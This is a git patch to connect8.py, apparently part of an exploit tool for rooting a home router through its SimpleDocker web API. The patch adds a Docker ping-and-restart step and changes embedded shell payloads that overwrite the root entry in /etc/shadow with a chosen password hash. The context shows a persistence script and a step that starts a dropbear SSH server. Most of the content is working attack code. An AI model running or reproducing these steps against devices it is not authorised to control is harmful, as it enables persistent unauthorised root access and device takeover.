From d88a4cc2d1c796c2f5f7c7d82ee7796aa41b97eb Mon Sep 17 00:00:00 2001 From: h8suga Date: Fri, 12 Jun 2026 17:44:46 +0300 Subject: [PATCH] Enhance connect8.py with Docker daemon connection check and restart logic --- .gitignore | 1 + connect8.py | 30 ++++++++++++++++++++++++++++-- 2 files changed, 29 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index f2f8002..208eb32 100644 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,4 @@ tmp/ outdir/ config.txt full_info.txt +backups/ diff --git a/connect8.py b/connect8.py index 4b04624..37abf47 100644 --- a/connect8.py +++ b/connect8.py @@ -166,6 +166,30 @@ except Exception: auth = {'Authorization': token} print('[connect8] SimpleDocker login OK') +# ── stage 2b: ensure Docker daemon is connected (ping + auto-restart) ───────── + +def _docker_ping(): + try: + r = requests.get(f'http://{router_ip}:{DOCKER_PORT}/api/docker/info', + headers=auth, timeout=5) + return r.status_code == 200 + except Exception: + return False + +if not _docker_ping(): + print('[connect8] Docker daemon not responding — restarting SimpleDocker connection ...') + try: + requests.post(f'http://{router_ip}:{DOCKER_PORT}/api/system/safe', + headers=auth, timeout=8) + except Exception: + pass + time.sleep(4) + if not _docker_ping(): + raise ExploitNotWorked( + 'connect8: Docker daemon is not running.\n' + ' Try toggling Docker in SimpleDocker web UI or reboot the router.') + print('[connect8] Docker daemon OK') + # ── stage 3: find a running container ───────────────────────────────────────── try: @@ -324,7 +348,8 @@ grep -q '"release"' /etc/init.d/dropbear 2>/dev/null && \\ KEYFILE=/etc/dropbear/dropbear_rsa_host_key [ -s "$KEYFILE" ] || /usr/bin/dropbearkey -t rsa -f "$KEYFILE" 2>/dev/null HASH=$(openssl passwd -1 -salt 'XMiR1337' '{SSH_PASSWORD}') -{{ grep -v '^root:' /etc/shadow; printf 'root:%s:19000:0:99999:7:::' "$HASH"; }} > /tmp/_sh && mv /tmp/_sh /etc/shadow +SHADOW_FILE=$(readlink -f /etc/shadow 2>/dev/null || echo /etc/shadow) +{{ grep -v '^root:' "$SHADOW_FILE"; printf 'root:%s:19000:0:99999:7:::' "$HASH"; }} > /tmp/_sh && mv /tmp/_sh "$SHADOW_FILE" pgrep dropbear > /dev/null || /etc/init.d/dropbear start 2>/dev/null PERSIST_EOF chmod +x /data/xmir_restore_ssh.sh @@ -360,7 +385,8 @@ echo "keyfile=$([ -f $KEYFILE ] && echo ok || echo missing)" >> "$LOG" # 4. Root password (MD5-crypt hash pre-computed, no openssl dependency) HASH=$(openssl passwd -1 -salt 'XMiR1337' '{SSH_PASSWORD}' 2>/dev/null) [ -z "$HASH" ] && HASH='{_md5_hash}' -{{ grep -v '^root:' /etc/shadow; printf 'root:%s:19000:0:99999:7:::\\n' "$HASH"; }} > /tmp/_sh && mv /tmp/_sh /etc/shadow +SHADOW_FILE=$(readlink -f /etc/shadow 2>/dev/null || echo /etc/shadow) +{{ grep -v '^root:' "$SHADOW_FILE"; printf 'root:%s:19000:0:99999:7:::\\n' "$HASH"; }} > /tmp/_sh && mv /tmp/_sh "$SHADOW_FILE" grep -c '^root:.*:19000:' /etc/shadow >> "$LOG" && echo "passwd=set" >> "$LOG" || echo "passwd=FAIL" >> "$LOG" # 5. Start SSH via procd